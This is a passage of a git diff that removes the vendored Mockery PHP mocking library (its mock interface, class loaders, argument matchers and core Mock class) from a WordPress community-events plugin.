if ($reflection->isAbstract()) { - throw new InvalidArgumentException(sprintf('Class:%s is an abstract class', $className)); - } - - return $reflection; - } - - /** - * Verifies whether the given class is to be considered internal - */ - private function hasInternalAncestors(ReflectionClass $reflectionClass): bool - { - do { - if ($reflectionClass->isInternal()) { - return true; - } - } while ($reflectionClass = $reflectionClass->getParentClass()); - - return false; - } - - /** - * Verifies if the class is instantiable via reflection - */ - private function isInstantiableViaReflection(ReflectionClass $reflectionClass): bool - { - return ! ($reflectionClass->isInternal() && $reflectionClass->isFinal()); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/LegacyMockInterface.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/LegacyMockInterface.php deleted file mode 100644 index 5c904e13..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/LegacyMockInterface.php +++ /dev/null @@ -1,258 +0,0 @@ - $args - * - * @return null|Expectation - */ - public function mockery_findExpectation($method, array $args); - - /** - * Return the container for this mock - * - * @return Container - */ - public function mockery_getContainer(); - - /** - * Get current ordered number - * - * @return int - */ - public function mockery_getCurrentOrder(); - - /** - * Gets the count of expectations for this mock - * - * @return int - */ - public function mockery_getExpectationCount(); - - /** - * Return the expectations director for the given method - * - * @param string $method - * - * @return null|ExpectationDirector - */ - public function mockery_getExpectationsFor($method); - - /** - * Fetch array of ordered groups - * - * @return array - */ - public function mockery_getGroups(); - - /** - * @return string[] - */ - public function mockery_getMockableMethods(); - - /** - * @return array - */ - public function mockery_getMockableProperties(); - - /** - * Return the name for this mock - * - * @return string - */ - public function mockery_getName(); - - /** - * Alternative setup method to constructor - * - * @param object $partialObject - * - * @return void - */ - public function mockery_init(?Container $container = null, $partialObject = null); - - /** - * @return bool - */ - public function mockery_isAnonymous(); - - /** - * Set current ordered number - * - * @param int $order - * - * @return int - */ - public function mockery_setCurrentOrder($order); - - /** - * Return the expectations director for the given method - * - * @param string $method - * - * @return null|ExpectationDirector - */ - public function mockery_setExpectationsFor($method, ExpectationDirector $director); - - /** - * Set ordering for a group - * - * @param string $group - * @param int $order - * - * @return void - */ - public function mockery_setGroup($group, $order); - - /** - * Tear down tasks for this mock - * - * @return void - */ - public function mockery_teardown(); - - /** - * Validate the current mock's ordering - * - * @param string $method - * @param int $order - * - * @throws Exception - * - * @return void - */ - public function mockery_validateOrder($method, $order); - - /** - * Iterate across all expectation directors and validate each - * - * @throws Throwable - * - * @return void - */ - public function mockery_verify(); - - /** - * Allows additional methods to be mocked that do not explicitly exist on mocked class - * - * @param string $method the method name to be mocked - * @return self - */ - public function shouldAllowMockingMethod($method); - - /** - * @return self - */ - public function shouldAllowMockingProtectedMethods(); - - /** - * Set mock to defer unexpected methods to its parent if possible - * - * @deprecated since 1.4.0. Please use makePartial() instead. - * - * @return self - */ - public function shouldDeferMissing(); - - /** - * @return self - */ - public function shouldHaveBeenCalled(); - - /** - * @template TMixed - * @param string $method - * @param null|array|Closure $args - * - * @return self - */ - public function shouldHaveReceived($method, $args = null); - - /** - * Set mock to ignore unexpected methods and return Undefined class - * - * @template TReturnValue - * - * @param null|TReturnValue $returnValue the default return value for calls to missing functions on this mock - * - * @return self - */ - public function shouldIgnoreMissing($returnValue = null); - - /** - * @template TMixed - * @param null|array $args (optional) - * - * @return self - */ - public function shouldNotHaveBeenCalled(?array $args = null); - - /** - * @template TMixed - * @param string $method - * @param null|array|Closure $args - * - * @return self - */ - public function shouldNotHaveReceived($method, $args = null); - - /** - * Shortcut method for setting an expectation that a method should not be called. - * - * @param string ...$methodNames one or many methods that are expected not to be called in this mock - * - * @return Expectation|ExpectationInterface|HigherOrderMessage - */ - public function shouldNotReceive(...$methodNames); - - /** - * Set expected method calls - * - * @param string ...$methodNames one or many methods that are expected to be called in this mock - * - * @return Expectation|ExpectationInterface|HigherOrderMessage - */ - public function shouldReceive(...$methodNames); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Loader/EvalLoader.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Loader/EvalLoader.php deleted file mode 100644 index 63247e87..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Loader/EvalLoader.php +++ /dev/null @@ -1,32 +0,0 @@ -getClassName(), false)) { - return; - } - - eval('?>' . $definition->getCode()); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Loader/Loader.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Loader/Loader.php deleted file mode 100644 index 90d56890..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Loader/Loader.php +++ /dev/null @@ -1,23 +0,0 @@ -path = realpath($path); - } - - public function __destruct() - { - $files = array_diff(glob($this->path . DIRECTORY_SEPARATOR . 'Mockery_*.php') ?: [], [$this->lastPath]); - - foreach ($files as $file) { - @unlink($file); - } - } - - /** - * Load the given mock definition - * - * @return void - */ - public function load(MockDefinition $definition) - { - if (class_exists($definition->getClassName(), false)) { - return; - } - - $this->lastPath = sprintf('%s%s%s.php', $this->path, DIRECTORY_SEPARATOR, uniqid('Mockery_', false)); - - file_put_contents($this->lastPath, $definition->getCode()); - - if (file_exists($this->lastPath)) { - require $this->lastPath; - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/AndAnyOtherArgs.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/AndAnyOtherArgs.php deleted file mode 100644 index f4a698e2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/AndAnyOtherArgs.php +++ /dev/null @@ -1,38 +0,0 @@ -'; - } - - /** - * Check if the actual value matches the expected. - * - * @template TMixed - * - * @param TMixed $actual - * - * @return bool - */ - public function match(&$actual) - { - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Any.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Any.php deleted file mode 100644 index 5bb4b2f0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Any.php +++ /dev/null @@ -1,38 +0,0 @@ -'; - } - - /** - * Check if the actual value matches the expected. - * - * @template TMixed - * - * @param TMixed $actual - * - * @return bool - */ - public function match(&$actual) - { - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/AnyArgs.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/AnyArgs.php deleted file mode 100644 index 0e1ce8c6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/AnyArgs.php +++ /dev/null @@ -1,31 +0,0 @@ -'; - } - - /** - * @template TMixed - * - * @param TMixed $actual - * - * @return bool - */ - public function match(&$actual) - { - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/AnyOf.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/AnyOf.php deleted file mode 100644 index 425dcae3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/AnyOf.php +++ /dev/null @@ -1,41 +0,0 @@ -'; - } - - /** - * Check if the actual value does not match the expected (in this - * case it's specifically NOT expected). - * - * @template TMixed - * - * @param TMixed $actual - * - * @return bool - */ - public function match(&$actual) - { - return in_array($actual, $this->_expected, true); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/ArgumentListMatcher.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/ArgumentListMatcher.php deleted file mode 100644 index 56e58f69..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/ArgumentListMatcher.php +++ /dev/null @@ -1,15 +0,0 @@ -'; - } - - /** - * Check if the actual value matches the expected. - * - * @template TMixed - * - * @param TMixed $actual - * - * @return bool - */ - public function match(&$actual) - { - return ($this->_expected)($actual) === true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Contains.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Contains.php deleted file mode 100644 index 9fdeb831..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Contains.php +++ /dev/null @@ -1,61 +0,0 @@ -_expected as $v) { - $elements[] = (string) $v; - } - - return ''; - } - - /** - * Check if the actual value matches the expected. - * - * @template TMixed - * - * @param TMixed $actual - * - * @return bool - */ - public function match(&$actual) - { - $values = array_values($actual); - foreach ($this->_expected as $exp) { - $match = false; - foreach ($values as $val) { - if ($exp === $val || $exp == $val) { - $match = true; - break; - } - } - - if ($match === false) { - return false; - } - } - - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Ducktype.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Ducktype.php deleted file mode 100644 index 3f3a9ef7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Ducktype.php +++ /dev/null @@ -1,52 +0,0 @@ -_expected) . ']>'; - } - - /** - * Check if the actual value matches the expected. - * - * @template TMixed - * - * @param TMixed $actual - * - * @return bool - */ - public function match(&$actual) - { - if (! is_object($actual)) { - return false; - } - - foreach ($this->_expected as $method) { - if (! method_exists($actual, $method)) { - return false; - } - } - - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/HasKey.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/HasKey.php deleted file mode 100644 index 15ef915a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/HasKey.php +++ /dev/null @@ -1,48 +0,0 @@ -', $this->_expected); - } - - /** - * Check if the actual value matches the expected. - * - * @template TMixed - * - * @param TMixed $actual - * - * @return bool - */ - public function match(&$actual) - { - if (! is_array($actual) && ! $actual instanceof ArrayAccess) { - return false; - } - - return array_key_exists($this->_expected, (array) $actual); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/HasValue.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/HasValue.php deleted file mode 100644 index 8d37a5f7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/HasValue.php +++ /dev/null @@ -1,47 +0,0 @@ -_expected . ']>'; - } - - /** - * Check if the actual value matches the expected. - * - * @template TMixed - * - * @param TMixed $actual - * - * @return bool - */ - public function match(&$actual) - { - if (! is_array($actual) && ! $actual instanceof ArrayAccess) { - return false; - } - - return in_array($this->_expected, (array) $actual, true); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/IsEqual.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/IsEqual.php deleted file mode 100644 index 72d1a02f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/IsEqual.php +++ /dev/null @@ -1,38 +0,0 @@ -'; - } - - /** - * Check if the actual value matches the expected. - * - * @template TMixed - * - * @param TMixed $actual - * - * @return bool - */ - public function match(&$actual) - { - return $this->_expected == $actual; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/IsSame.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/IsSame.php deleted file mode 100644 index 7671448e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/IsSame.php +++ /dev/null @@ -1,38 +0,0 @@ -'; - } - - /** - * Check if the actual value matches the expected. - * - * @template TMixed - * - * @param TMixed $actual - * - * @return bool - */ - public function match(&$actual) - { - return $this->_expected === $actual; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/MatcherAbstract.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/MatcherAbstract.php deleted file mode 100644 index 813950a5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/MatcherAbstract.php +++ /dev/null @@ -1,39 +0,0 @@ -_expected = $expected; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/MatcherInterface.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/MatcherInterface.php deleted file mode 100644 index 19154eab..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/MatcherInterface.php +++ /dev/null @@ -1,36 +0,0 @@ -'; - } - - /** - * Check if the actual value matches the expected. - * Actual passed by reference to preserve reference trail (where applicable) - * back to the original method parameter. - * - * @template TMixed - * - * @param TMixed $actual - * - * @return bool - */ - public function match(&$actual) - { - return ($this->_expected)(...$actual) === true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/MustBe.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/MustBe.php deleted file mode 100644 index d365bc70..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/MustBe.php +++ /dev/null @@ -1,47 +0,0 @@ -'; - } - - /** - * Check if the actual value matches the expected. - * - * @template TMixed - * - * @param TMixed $actual - * - * @return bool - */ - public function match(&$actual) - { - if (! is_object($actual)) { - return $this->_expected === $actual; - } - - return $this->_expected == $actual; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/NoArgs.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/NoArgs.php deleted file mode 100644 index 37438f13..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/NoArgs.php +++ /dev/null @@ -1,33 +0,0 @@ -'; - } - - /** - * @template TMixed - * - * @param TMixed $actual - * - * @return bool - */ - public function match(&$actual) - { - return count($actual) === 0; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Not.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Not.php deleted file mode 100644 index 133007eb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Not.php +++ /dev/null @@ -1,39 +0,0 @@ -'; - } - - /** - * Check if the actual value does not match the expected (in this - * case it's specifically NOT expected). - * - * @template TMixed - * - * @param TMixed $actual - * - * @return bool - */ - public function match(&$actual) - { - return $actual !== $this->_expected; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/NotAnyOf.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/NotAnyOf.php deleted file mode 100644 index 567b24e0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/NotAnyOf.php +++ /dev/null @@ -1,45 +0,0 @@ -'; - } - - /** - * Check if the actual value does not match the expected (in this - * case it's specifically NOT expected). - * - * @template TMixed - * - * @param TMixed $actual - * - * @return bool - */ - public function match(&$actual) - { - foreach ($this->_expected as $exp) { - if ($actual === $exp || $actual == $exp) { - return false; - } - } - - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Pattern.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Pattern.php deleted file mode 100644 index b2e84dfa..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Pattern.php +++ /dev/null @@ -1,40 +0,0 @@ -'; - } - - /** - * Check if the actual value matches the expected pattern. - * - * @template TMixed - * - * @param TMixed $actual - * - * @return bool - */ - public function match(&$actual) - { - return preg_match($this->_expected, (string) $actual) >= 1; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Subset.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Subset.php deleted file mode 100644 index 96893fb9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Subset.php +++ /dev/null @@ -1,99 +0,0 @@ -expected = $expected; - $this->strict = $strict; - } - - /** - * Return a string representation of this Matcher - * - * @return string - */ - public function __toString() - { - return 'formatArray($this->expected) . '>'; - } - - /** - * @param array $expected Expected subset of data - * - * @return Subset - */ - public static function loose(array $expected) - { - return new static($expected, false); - } - - /** - * Check if the actual value matches the expected. - * - * @template TMixed - * - * @param TMixed $actual - * - * @return bool - */ - public function match(&$actual) - { - if (! is_array($actual)) { - return false; - } - - if ($this->strict) { - return $actual === array_replace_recursive($actual, $this->expected); - } - - return $actual == array_replace_recursive($actual, $this->expected); - } - - /** - * @param array $expected Expected subset of data - * - * @return Subset - */ - public static function strict(array $expected) - { - return new static($expected, true); - } - - /** - * Recursively format an array into the string representation for this matcher - * - * @return string - */ - protected function formatArray(array $array) - { - $elements = []; - foreach ($array as $k => $v) { - $elements[] = $k . '=' . (is_array($v) ? $this->formatArray($v) : (string) $v); - } - - return '[' . implode(', ', $elements) . ']'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Type.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Type.php deleted file mode 100644 index 8265b602..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Type.php +++ /dev/null @@ -1,59 +0,0 @@ -_expected) . '>'; - } - - /** - * Check if the actual value matches the expected. - * - * @template TMixed - * - * @param TMixed $actual - * - * @return bool - */ - public function match(&$actual) - { - $function = $this->_expected === 'real' ? 'is_float' : 'is_' . strtolower($this->_expected); - - if (function_exists($function)) { - return $function($actual); - } - - if (! is_string($this->_expected)) { - return false; - } - - if (class_exists($this->_expected) || interface_exists($this->_expected)) { - return $actual instanceof $this->_expected; - } - - return false; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/MethodCall.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/MethodCall.php deleted file mode 100644 index f331514f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/MethodCall.php +++ /dev/null @@ -1,50 +0,0 @@ -method = $method; - $this->args = $args; - } - - /** - * @return array - */ - public function getArgs() - { - return $this->args; - } - - /** - * @return string - */ - public function getMethod() - { - return $this->method; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Mock.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Mock.php deleted file mode 100644 index 068cce35..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Mock.php +++ /dev/null @@ -1,1020 +0,0 @@ -_mockery_container = $container; - if (!is_null($partialObject)) { - $this->_mockery_partial = $partialObject; - } - - if (!\Mockery::getConfiguration()->mockingNonExistentMethodsAllowed()) { - foreach ($this->mockery_getMethods() as $method) { - if ($method->isPublic()) { - $this->_mockery_mockableMethods[] = $method->getName(); - } - } - } - - $this->_mockery_instanceMock = $instanceMock; - - $this->_mockery_parentClass = get_parent_class($this); - } - - /** - * Set expected method calls - * - * @param string ...$methodNames one or many methods that are expected to be called in this mock - * - * @return ExpectationInterface|Expectation|HigherOrderMessage - */ - public function shouldReceive(...$methodNames) - { - if ($methodNames === []) { - return new HigherOrderMessage($this, 'shouldReceive'); - } - - foreach ($methodNames as $method) { - if ('' === $method) { - throw new \InvalidArgumentException('Received empty method name'); - } - } - - $self = $this; - $allowMockingProtectedMethods = $this->_mockery_allowMockingProtectedMethods; - return \Mockery::parseShouldReturnArgs( - $this, - $methodNames, - static function ($method) use ($self, $allowMockingProtectedMethods) { - $rm = $self->mockery_getMethod($method); - if ($rm) { - if ($rm->isPrivate()) { - throw new \InvalidArgumentException($method . '() cannot be mocked as it is a private method'); - } - - if (!$allowMockingProtectedMethods && $rm->isProtected()) { - throw new \InvalidArgumentException($method . '() cannot be mocked as it is a protected method and mocking protected methods is not enabled for the currently used mock object. Use shouldAllowMockingProtectedMethods() to enable mocking of protected methods.'); - } - } - - $director = $self->mockery_getExpectationsFor($method); - if (!$director) { - $director = new ExpectationDirector($method, $self); - $self->mockery_setExpectationsFor($method, $director); - } - - $expectation = new Expectation($self, $method); - $director->addExpectation($expectation); - return $expectation; - } - ); - } - - // start method allows - /** - * @param mixed $something String method name or map of method => return - * @return self|ExpectationInterface|Expectation|HigherOrderMessage - */ - public function allows($something = []) - { - if (is_string($something)) { - return $this->shouldReceive($something); - } - - if (empty($something)) { - return $this->shouldReceive(); - } - - foreach ($something as $method => $returnValue) { - $this->shouldReceive($method)->andReturn($returnValue); - } - - return $this; - } - - // end method allows - // start method expects - /** - /** - * @param mixed $something String method name (optional) - * @return ExpectationInterface|Expectation|ExpectsHigherOrderMessage - */ - public function expects($something = null) - { - if (is_string($something)) { - return $this->shouldReceive($something)->once(); - } - - return new ExpectsHigherOrderMessage($this); - } - - // end method expects - /** - * Shortcut method for setting an expectation that a method should not be called. - * - * @param string ...$methodNames one or many methods that are expected not to be called in this mock - * @return ExpectationInterface|Expectation|HigherOrderMessage - */ - public function shouldNotReceive(...$methodNames) - { - if ($methodNames === []) { - return new HigherOrderMessage($this, 'shouldNotReceive'); - } - - $expectation = call_user_func_array(function (string $methodNames) { - return $this->shouldReceive($methodNames); - }, $methodNames); - $expectation->never(); - return $expectation; - } - - /** - * Allows additional methods to be mocked that do not explicitly exist on mocked class - * - * @param string $method name of the method to be mocked - * @return Mock|MockInterface|LegacyMockInterface - */ - public function shouldAllowMockingMethod($method) - { - $this->_mockery_mockableMethods[] = $method; - return $this; - } - - /** - * Set mock to ignore unexpected methods and return Undefined class - * @param mixed $returnValue the default return value for calls to missing functions on this mock - * @param bool $recursive Specify if returned mocks should also have shouldIgnoreMissing set - * @return static - */ - public function shouldIgnoreMissing($returnValue = null, $recursive = false) - { - $this->_mockery_ignoreMissing = true; - $this->_mockery_ignoreMissingRecursive = $recursive; - $this->_mockery_defaultReturnValue = $returnValue; - return $this; - } - - public function asUndefined() - { - $this->_mockery_ignoreMissing = true; - $this->_mockery_defaultReturnValue = new Undefined(); - return $this; - } - - /** - * @return static - */ - public function shouldAllowMockingProtectedMethods() - { - if (!\Mockery::getConfiguration()->mockingNonExistentMethodsAllowed()) { - foreach ($this->mockery_getMethods() as $method) { - if ($method->isProtected()) { - $this->_mockery_mockableMethods[] = $method->getName(); - } - } - } - - $this->_mockery_allowMockingProtectedMethods = true; - return $this; - } - - - /** - * Set mock to defer unexpected methods to it's parent - * - * This is particularly useless for this class, as it doesn't have a parent, - * but included for completeness - * - * @deprecated 2.0.0 Please use makePartial() instead - * - * @return static - */ - public function shouldDeferMissing() - { - return $this->makePartial(); - } - - /** - * Set mock to defer unexpected methods to it's parent - * - * It was an alias for shouldDeferMissing(), which will be removed - * in 2.0.0. - * - * @return static - */ - public function makePartial() - { - $this->_mockery_deferMissing = true; - return $this; - } - - /** - * In the event shouldReceive() accepting one or more methods/returns, - * this method will switch them from normal expectations to default - * expectations - * - * @return self - */ - public function byDefault() - { - foreach ($this->_mockery_expectations as $director) { - $exps = $director->getExpectations(); - foreach ($exps as $exp) { - $exp->byDefault(); - } - } - - return $this; - } - - /** - * Capture calls to this mock - */ - public function __call($method, array $args) - { - return $this->_mockery_handleMethodCall($method, $args); - } - - public static function __callStatic($method, array $args) - { - return self::_mockery_handleStaticMethodCall($method, $args); - } - - /** - * Forward calls to this magic method to the __call method - */ - #[\ReturnTypeWillChange] - public function __toString() - { - return $this->__call('__toString', []); - } - - /** - * Iterate across all expectation directors and validate each - * - * @throws Exception - * @return void - */ - public function mockery_verify() - { - if ($this->_mockery_verified) { - return; - } - - if (property_exists($this, '_mockery_ignoreVerification') && $this->_mockery_ignoreVerification !== null - && $this->_mockery_ignoreVerification == true) { - return; - } - - $this->_mockery_verified = true; - foreach ($this->_mockery_expectations as $director) { - $director->verify(); - } - } - - /** - * Gets a list of exceptions thrown by this mock - * - * @return array - */ - public function mockery_thrownExceptions() - { - return $this->_mockery_thrownExceptions; - } - - /** - * Tear down tasks for this mock - * - * @return void - */ - public function mockery_teardown() - { - } - - /** - * Fetch the next available allocation order number - * - * @return int - */ - public function mockery_allocateOrder() - { - ++$this->_mockery_allocatedOrder; - return $this->_mockery_allocatedOrder; - } - - /** - * Set ordering for a group - * - * @param mixed $group - * @param int $order - */ - public function mockery_setGroup($group, $order) - { - $this->_mockery_groups[$group] = $order; - } - - /** - * Fetch array of ordered groups - * - * @return array - */ - public function mockery_getGroups() - { - return $this->_mockery_groups; - } - - /** - * Set current ordered number - * - * @param int $order - */ - public function mockery_setCurrentOrder($order) - { - $this->_mockery_currentOrder = $order; - return $this->_mockery_currentOrder; - } - - /** - * Get current ordered number - * - * @return int - */ - public function mockery_getCurrentOrder() - { - return $this->_mockery_currentOrder; - } - - /** - * Validate the current mock's ordering - * - * @param string $method - * @param int $order - * @throws \Mockery\Exception - * @return void - */ - public function mockery_validateOrder($method, $order) - { - if ($order < $this->_mockery_currentOrder) { - $exception = new InvalidOrderException( - 'Method ' . self::class . '::' . $method . '()' - . ' called out of order: expected order ' - . $order . ', was ' . $this->_mockery_currentOrder - ); - $exception->setMock($this) - ->setMethodName($method) - ->setExpectedOrder($order) - ->setActualOrder($this->_mockery_currentOrder); - throw $exception; - } - - $this->mockery_setCurrentOrder($order); - } - - /** - * Gets the count of expectations for this mock - * - * @return int - */ - public function mockery_getExpectationCount() - { - $count = $this->_mockery_expectations_count; - foreach ($this->_mockery_expectations as $director) { - $count += $director->getExpectationCount(); - } - - return $count; - } - - /** - * Return the expectations director for the given method - * - * @var string $method - * @return ExpectationDirector|null - */ - public function mockery_setExpectationsFor($method, ExpectationDirector $director) - { - $this->_mockery_expectations[$method] = $director; - } - - /** - * Return the expectations director for the given method - * - * @var string $method - * @return ExpectationDirector|null - */ - public function mockery_getExpectationsFor($method) - { - if (isset($this->_mockery_expectations[$method])) { - return $this->_mockery_expectations[$method]; - } - } - - /** - * Find an expectation matching the given method and arguments - * - * @var string $method - * @var array $args - * @return Expectation|null - */ - public function mockery_findExpectation($method, array $args) - { - if (!isset($this->_mockery_expectations[$method])) { - return null; - } - - $director = $this->_mockery_expectations[$method]; - - return $director->findExpectation($args); - } - - /** - * Return the container for this mock - * - * @return Container - */ - public function mockery_getContainer() - { - return $this->_mockery_container; - } - - /** - * Return the name for this mock - * - * @return string - */ - public function mockery_getName() - { - return self::class; - } - - /** - * @return array - */ - public function mockery_getMockableProperties() - { - return $this->_mockery_mockableProperties; - } - - public function __isset($name) - { - if (false !== stripos($name, '_mockery_')) { - return false; - } - - if (!$this->_mockery_parentClass) { - return false; - } - - if (!method_exists($this->_mockery_parentClass, '__isset')) { - return false; - } - - return call_user_func($this->_mockery_parentClass . '::__isset', $name); - } - - public function mockery_getExpectations() - { - return $this->_mockery_expectations; - } - - /** - * Calls a parent class method and returns the result. Used in a passthru - * expectation where a real return value is required while still taking - * advantage of expectation matching and call count verification. - * - * @param string $name - * @param array $args - * @return mixed - */ - public function mockery_callSubjectMethod($name, array $args) - { - if 